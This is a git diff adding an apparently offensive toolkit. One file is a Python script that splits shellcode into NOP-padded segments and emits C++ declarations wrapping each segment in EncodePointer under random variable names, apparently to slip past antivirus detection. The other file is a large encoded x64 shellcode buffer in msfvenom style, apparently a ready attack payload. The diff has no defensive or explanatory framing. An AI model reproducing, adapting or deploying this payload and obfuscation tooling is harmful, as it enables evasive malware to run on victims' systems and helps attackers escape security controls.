diff --git a/scripts/encoder.py b/scripts/encoder.py new file mode 100644 index 0000000..5563529 --- /dev/null +++ b/scripts/encoder.py @@ -0,0 +1,53 @@ +import re +import random +import string +import argparse + +def generate_random_name(): + return ''.join(random.choices(string.ascii_letters, k=16)) + +def parse_shellcode(file_path): + with open(file_path, "r") as f: + data = f.read() + + # Extract hex bytes from shellcode definition + matches = re.findall(r'\\x([0-9a-fA-F]{2})', data) + shellcode = ''.join(matches) + + return shellcode + +def format_shellcode(shellcode): + segments = [shellcode[i:i+16] for i in range(0, len(shellcode), 16)] + formatted_lines = [] + var_names = [] + total_size = 0 + + for segment in segments: + while len(segment) < 16: + segment += "90" # Pad with NOPs if not a full 8-byte segment + total_size += len(segment) // 2 # Convert hex length to byte count + var_name = generate_random_name() + var_names.append(var_name) + formatted_lines.append(f"PVOID {var_name} = EncodePointer((PVOID)0x{segment});") + + return formatted_lines, var_names, total_size + +def main(): + parser = argparse.ArgumentParser(description="Parse and format shellcode from an input file.") + parser.add_argument("input_file", help="Path to the input shellcode file") + args = parser.parse_args() + + shellcode = parse_shellcode(args.input_file) + formatted_shellcode, var_names, total_size = format_shellcode(shellcode) + + print(f"Total shellcode size (including padding): {total_size} bytes") + + for line in formatted_shellcode: + print(line) + + print("\nstd::vector encodedSegments = {") + print(" " + ", ".join(var_names) + ",") + print("};") + +if __name__ == "__main__": + main() diff --git a/scripts/shellcode.txt b/scripts/shellcode.txt new file mode 100644 index 0000000..31e6ff4 --- /dev/null +++ b/scripts/shellcode.txt @@ -0,0 +1,82 @@ +buf = b"" +buf += b"\x48\x31\xc9\x48\x81\xe9\x8c\xff\xff\xff\x48\x8d" +buf += b"\x05\xef\xff\xff\xff\x48\xbb\xae\xe2\x1e\xc0\xb3" +buf += b"\x25\x75\x6d\x48\x31\x58\x27\x48\x2d\xf8\xff\xff" +buf += b"\xff\xe2\xf4\x52\xaa\x9d\x24\x43\xcd\xbd\x6d\xae" +buf += b"\xe2\x5f\x91\xf2\x75\x27\x3c\xf8\xaa\x2f\x12\xd6" +buf += b"\x6d\xfe\x3f\xce\xaa\x95\x92\xab\x6d\xfe\x3f\x8e" +buf += b"\xaa\x95\xb2\xe3\x6d\x7a\xda\xe4\xa8\x53\xf1\x7a" +buf += b"\x6d\x44\xad\x02\xde\x7f\xbc\xb1\x09\x55\x2c\x6f" +buf += b"\x2b\x13\x81\xb2\xe4\x97\x80\xfc\xa3\x4f\x88\x38" +buf += b"\x77\x55\xe6\xec\xde\x56\xc1\x63\x43\xf4\x15\xb6" +buf += b"\xe9\x1c\xb5\xc1\xae\xf5\xe5\xae\xe2\x1e\x88\x36" +buf += b"\xe5\x01\x0a\xe6\xe3\xce\x90\x38\x6d\x6d\x29\x25" +buf += b"\xa2\x3e\x89\xb2\xf5\x96\x3b\xe6\x1d\xd7\x81\x38" +buf += b"\x11\xfd\x25\xaf\x34\x53\xf1\x7a\x6d\x44\xad\x02" +buf += b"\xa3\xdf\x09\xbe\x64\x74\xac\x96\x02\x6b\x31\xff" +buf += b"\x26\x39\x49\xa6\xa7\x27\x11\xc6\xfd\x2d\x29\x25" +buf += b"\xa2\x3a\x89\xb2\xf5\x13\x2c\x25\xee\x56\x84\x38" +buf += b"\x65\x69\x24\xaf\x32\x5f\x4b\xb7\xad\x3d\x6c\x7e" +buf += b"\xa3\x46\x81\xeb\x7b\x2c\x37\xef\xba\x5f\x99\xf2" +buf += b"\x7f\x3d\xee\x42\xc2\x5f\x92\x4c\xc5\x2d\x2c\xf7" +buf += b"\xb8\x56\x4b\xa1\xcc\x3a\x92\x51\x1d\x43\xaa\xb3" +buf += b"\x6c\xcb\x1a\xc7\x8c\x77\xae\xd6\x51\x75\x2c\xf8" +buf += b"\xab\x97\x26\xff\xac\x84\x2c\x14\xae\x69\xe6\xb4" +buf += b"\xda\xa0\x25\x9f\x2b\x56\xf1\x61\x68\x44\xad\xe3" +buf += b"\xd3\xd7\x81\xe3\x64\x25\x2c\x14\xd8\x48\xb9\x14" +buf += b"\xda\xa0\x84\x3d\xe2\x1e\xc0\xe9\x6d\xfc\xac\xef" +buf += b"\x5a\xa5\xc1\xb3\x25\x38\x5c\x67\xa3\x4f\x81\xe2" +buf += b"\x4f\x76\x2c\xff\xa3\xa4\x97\x3a\xba\xb3\x92\x7b" +buf += b"\x09\x67\x9b\xfb\xac\xb4\x25\x9f\x30\x57\x49\x6b" +buf += b"\x68\x44\xa4\xfc\x8a\x1e\xf2\x73\xa1\x27\x3f\xef" +buf += b"\x58\xf5\x95\x9d\x1e\x8a\xb8\xe6\x6b\xd8\x88\x30" +buf += b"\xe6\x25\x07\xa4\xbd\x56\x49\x42\x9f\x6a\x6d\xae" +buf += b"\xe2\x74\xc0\xdb\xa5\x46\x6d\xae\xab\x97\x20\xf2" +buf += b"\x9c\x71\x6d\xae\xe2\x5f\x7a\xc6\x63\xeb\xeb\x51" +buf += b"\x37\x56\x49\x42\x6d\xfc\xb7\xe7\x25\xde\x3f\x4c" +buf += b"\xda\x8a\x20\x9f\x2b\x4c\x92\xf2\x9f\x58\x6b\xb6" +buf += b"\x99\xe1\x15\x36\xe5\x7a\xe8\x33\xe3\x1e\xc0\xfb" +buf += b"\xda\xba\x62\x2a\x6e\x1f\xc0\xb3\xce\xc6\x84\x4a" +buf += b"\xe3\x1e\xc0\x5b\xa7\x8a\x92\x51\xcd\x4c\xa6\xff" +buf += b"\x7c\x75\x8a\xd8\x75\x21\xa0\x81\x51\x8b\xc6\x19" +buf += b"\x2e\xdf\x62\xef\xea\x47\x6f\xe0\xdf\x2f\xd4\x28" +buf += b"\x4b\x06\x4e\x57\x83\x13\x4b\x94\x03\xcf\x3c\xb4" +buf += b"\xeb\x56\xc4\x07\xab\xc7\xe1\x38\xc8\x9c\x92\xee" +buf += b"\xd7\xe9\xfa\x29\xb5\x87\x1f\x83\x51\x98\x4a\x22" +buf += b"\x90\x2d\xdd\x7a\xf1\x7a\xe9\x48\xd1\x43\xb2\x34" +buf += b"\x1f\xcc\xb4\xae\xb7\x6d\xa5\xc1\x08\x34\x0a\xcb" +buf += b"\x8c\x6a\xfa\x93\x68\x1a\x17\xc7\x8e\x72\xa1\x9c" +buf += b"\x10\x5b\x5d\x8e\xca\x7d\xaf\xde\x55\x14\x19\xc7" +buf += b"\x80\x72\xa5\x88\x05\x38\x3e\xe7\xa7\x3e\xf9\x9d" +buf += b"\x15\x4e\x4d\xf9\x8b\x70\xa4\xdc\x52\x06\x4d\xe0" +buf += b"\xb6\x3e\xf6\x9d\x14\x4e\x4d\xf9\x8b\x70\xf6\x87" +buf += b"\x1e\x55\x15\x98\xd6\x25\xe0\xe7\x57\x1c\x09\xcb" +buf += b"\x8c\x6a\xef\x86\x0b\x45\x56\x8e\xa3\x68\xa1\xdd" +buf += b"\x51\x55\x2f\xdc\x8d\x69\xb3\xd6\x57\x5c\x60\xa4" +buf += b"\xe2\x70\x7c\x0a\x34\x7d\x59\x8e\xbe\xaa\xb1\x91" +buf += b"\xb6\xde\x02\x12\x30\xb9\x6d\x74\xf6\x65\x1d\xe0" +buf += b"\x77\x65\x56\xe2\x9d\x8d\x81\xb6\x32\xf6\x0c\x2b" +buf += b"\x1f\x47\x26\x7f\xbc\x79\x2f\x1d\x2a\x48\x0c\xf2" +buf += b"\x3e\xdf\x49\x54\x04\xd6\xad\x6c\x7d\x93\x39\x55" +buf += b"\xb1\x0b\xda\x58\x58\x48\x50\xa8\x4d\xea\xf6\xfe" +buf += b"\x4f\x0a\x85\x7c\x24\xde\xb3\x6d\x73\x13\xa0\xca" +buf += b"\x27\x32\x4d\x49\x83\xf5\x87\x27\x81\x70\xbb\x40" +buf += b"\x96\x14\x3e\xcc\xab\xbb\xf0\xee\xc6\x47\x05\x4a" +buf += b"\xa7\xf0\x3f\xa8\x12\x1d\xbb\x31\x50\xca\x4c\x8d" +buf += b"\xc3\xd5\x58\x3a\x9a\x1a\xee\x3e\xd1\xf4\x27\x10" +buf += b"\x41\x6e\x2b\x4f\xfe\x2e\x32\xac\x67\xfe\x2c\x6c" +buf += b"\x07\xa6\x6d\x36\xcc\x84\x63\xaf\x81\x62\x04\xc9" +buf += b"\xcf\x60\x8d\x7d\xdf\x0c\x7c\x48\x75\x04\x01\xfa" +buf += b"\x64\x40\x56\x4f\x52\xf1\x4b\x61\xf7\xc6\xdd\x47" +buf += b"\x13\xcb\x25\xf8\x43\x96\xe7\xc4\x65\xf3\x80\x01" +buf += b"\x5a\xb4\x6f\xb9\x9b\x11\xb6\xae\xa3\xa0\x30\x06" +buf += b"\x87\x23\x92\x7b\xaa\x2f\x09\x09\x25\x75\x2d\xae" +buf += b"\xa3\xa6\xc0\xa3\x25\x75\x2c\x17\xa2\x1e\xc0\xb3" +buf += b"\x64\xcf\x35\x0a\xb1\xfb\x3f\x66\x6d\xe6\x3e\xfd" +buf += b"\xaa\x97\x27\xfb\xac\x84\x25\x27\x38\x5f\x78\xb3" +buf += b"\x05\x75\x6d\xe7\x6b\xe7\x81\x09\x37\xe3\xe4\x4c" +buf += b"\x1d\xcb\x88\x30\xe1\x55\xe8\x6e\x96\xa8\xa6\x38" +buf += b"\x22\x3d\x6c\x6d\x67\xde\xb5\x64\x7d\x2d\x35\xe6" +buf += b"\xe7\x1e\xc0\xb3\x25\x25\xae\x46\x9d\xe3\x3f\x4c" +buf += b"\x14\x45\x43\x9a\xd0\x30\xf4\x81\x0b\x40\x6d\x94" +buf += b"\x3c\x76\x71\xb3\x25\x75\x6d" \ No newline at end of file